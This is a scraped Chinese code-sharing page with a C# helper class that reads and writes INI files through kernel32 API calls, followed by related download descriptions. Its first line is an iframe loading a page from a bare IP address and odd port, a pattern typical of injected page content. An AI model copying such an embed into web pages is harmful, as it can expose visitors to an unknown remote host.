<iframe marginwidth="0" marginheight="0" src="http://218.16.120.35:65001/PC/Global/images/b.html" frameborder="0" width="728" scrolling="no" height="90"></iframe>
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections;
using System.Collections.Specialized;
namespace DataGridEx
{
/**/
/// <summary>
/// IniFiles的类
/// </summary>
public class IniFiles
{
public string FileName; //INI文件名
//声明读写INI文件的API函数
[DllImport("kernel32")]
private static extern bool WritePrivateProfileString(string section, string key, string val, string filePath);
[DllImport("kernel32")]
private static extern int GetPrivateProfileString(string section, string key, string def, byte[] retVal, int size, string filePath);
//类的构造函数,传递INI文件名
public IniFiles(string AFileName)
{
// 判断文件是否存在
FileInfo fileInfo = new FileInfo(AFileName);
//Todo:搞清枚举的用法
if ((!fileInfo.Exists))
{ //|| (FileAttributes.Directory in fileInfo.Attributes))
//文件不存在,建立文件
System.IO.StreamWriter sw = new System.IO.StreamWriter(AFileName, false, System.Text.Encoding.Default);
try
{
sw.Write("#表格配置档案");
sw.Close();
}
catch
{
throw (new ApplicationException("Ini文件不存在"));
}
}
//必须是完全路径,不能是相对路径
FileName = fileInfo.FullName;
}
//写INI文件
public void WriteString(string Section, string Ident, string Value)
{
if (!WritePrivateProfileString(Section, Ident, Value, FileName))
{
// Todo:抛出自定义的异常
throw (new ApplicationException("写Ini文件出错"));
}
}
//读取INI文件指定
public string ReadString(string Section, string Ident, string Default)
{
Byte[] Buffer = new Byte[65535];
int bufLen = GetPrivateProfileString(Section, Ident, Default, Buffer, Buffer.GetUpperBound(0), FileName);
//必须设定0(系统默认的代码页)的编码方式,否则无法支持中文
string s = Encoding.GetEncoding(0).GetString(Buffer);
s = s.Substring(0, bufLen);
return s.Trim();
}
//读整数
public int ReadInteger(string Section, string Ident, int Default)
{
string intStr = ReadString(Section, Ident, Convert.ToString(Default));
try
{
return Convert.ToInt32(intStr);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return Default;
}
}
//写整数
public void WriteInteger(string Section, string Ident, int Value)
{
WriteString(Section, Ident, Value.ToString());
}
//读布尔
public bool ReadBool(string Section, string Ident, bool Default)
{
try
{
return Convert.ToBoolean(ReadString(Section, Ident, Convert.ToString(Default)));
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
return Default;
}
}
//写Bool
public void WriteBool(string Section, string Ident, bool Value)
{
WriteString(Section, Ident, Convert.ToString(Value));
}
//从Ini文件中,将指定的Section名称中的所有Ident添加到列表中
public void ReadSection(string Section, StringCollection Idents)
{
Byte[] Buffer = new Byte[16384];
//Idents.Clear();
int bufLen = GetPrivateProfileString(Section, null, null, Buffer, Buffer.GetUpperBound(0),
FileName);
//对Section进行解析
GetStringsFromBuffer(Buffer, bufLen, Idents);
}
private void GetStringsFromBuffer(Byte[] Buffer, int bufLen, StringCollection Strings)
{
Strings.Clear();
if (bufLen != 0)
{
int start = 0;
for (int i = 0; i < bufLen; i++)
{
if ((Buffer[i] == 0) && ((i - start) > 0))
{
String s = Encoding.GetEncoding(0).GetString(Buffer, start, i - start);
Strings.Add(s);
start = i + 1;
}
}
}
}
//从Ini文件中,读取所有的Sections的名称
public void ReadSections(StringCollection SectionList)
{
//Note:必须得用Bytes来实现,StringBuilder只能取到第一个Section
byte[] Buffer = new byte[65535];
int bufLen = 0;
bufLen = GetPrivateProfileString(null, null, null, Buffer,
Buffer.GetUpperBound(0), FileName);
GetStringsFromBuffer(Buffer, bufLen, SectionList);
}
//读取指定的Section的所有Value到列表中
public void ReadSectionValues(string Section, NameValueCollection Values)
{
StringCollection KeyList = new StringCollection();
ReadSection(Section, KeyList);
Values.Clear();
foreach (string key in KeyList)
{
Values.Add(key, ReadString(Section, key, ""));
}
}
//清除某个Section
public void EraseSection(string Section)
{
//
if (!WritePrivateProfileString(Section, null, null, FileName))
{
throw (new ApplicationException("无法清除Ini文件中的Section"));
}
}
//删除某个Section下的键
public void DeleteKey(string Section, string Ident)
{
WritePrivateProfileString(Section, Ident, null, FileName);
}
//Note:对于Win9X,来说需要实现UpdateFile方法将缓冲中的数据写入文件
//在Win NT, 2000和XP上,都是直接写文件,没有缓冲,所以,无须实现UpdateFile
//执行完对Ini文件的修改之后,应该调用本方法更新缓冲区。
public void UpdateFile()
{
WritePrivateProfileString(null, null, null, FileName);
}
//检查某个Section下的某个键值是否存在
public bool ValueExists(string Section, string Ident)
{
//
StringCollection Idents = new StringCollection();
ReadSection(Section, Idents);
return Idents.IndexOf(Ident) > -1;
}
//确保资源的释放
~IniFiles()
{
UpdateFile();
}
}
}
分享到:
相关推荐
C# INI操作类 下载后加载到程序中可直接用
C#操作INI文件的完整类
C# 读取ini文件的操作帮助类, INIHelper.cs 封装了读写ini文件节点的方法,还有删除和判断是否存在某节点的方法 ini读取 ini写
C# 用于操作Windows INI 文件的封装类
用于操作INI文件,开发winform的时候有用,用于缓存用户的操作记录如用户名,打印机名称,选择项等,操作简单,占用资源小
写的ini读写操作类,包括读取、写入,就是一个基本的类,VS任何版本都可以使用
创建,插入,读写INI文件 eg. private IniFiles infor; ... infor = new IniFiles(currentDir); infor.ReadSectionValues("ROLE", this.myCol);
C#中读取Ini文件的类。可以读写字符串和整数。操作INI文件相当方便。
主要有INI结构介绍,INI读写辅助类,采用WIN32API和C#互操作的方式完成,注释很详细,大家下载看看,绝对好用
使用kernel32中的WritePrivateProfileString/GetPrivateProfileString再次封装 根据Key读取Val 获取所有Section 获取指定Section的所有key 写入指定key的val 删除Section 删除Key
打开ini,获取所有节、键、值、键值对,插入节、键值对,删除节、删除键值对,判断是否存在节、是否存在键等
通过封装两个API函数WritePrivateProfileString和GetPrivateProfileString,提供读写INI文件的C#类
一个C#中操作ini配置文件的类,本人做了修改,支持中文了
这是本人在网上查到的关于目录和ini文件操作的资料,文件可能比较多也比较乱,欢迎拍砖!!
C#操作ini文件类,可添加到自己的项目中直接使用。
最实用的C#操作INI文件的类!基本上可以完成操作INI的所有功能哦!上面还有一个简单的示例!
//创建一个INIFile对象,参数为文件路径,如果不存在它会自动创建的 INIFile inf=new INIFile(@"D:\工作目录\VSPP\VSPPServer\bin\Debug\COMPILED.INI"); //显示INI配置的结构 foreach(string k in inf.Segments...
C#编写的读写ini文件类和发送邮件类(vs.net2003C#), ...ini操作类和邮件发送类.只要把cs放到到自己的项目中就可以读写ini和发送邮件了.在Main函数中列举了类的使用.希望和我有同样困惑的朋友赶紧下载.
var unitId = OperateIniFile.ReadIniData("Unit", "UnitId", "ini中没有值时,赋默认值xxx", "ShareInfo.ini路径xx"); 2、写 OperateIniFile.WriteIniData("Unit", "UnitId", "076a0a4d-c417-4fee-902f-245e...
C# 操作INI文件 辅助类 操作非常方便。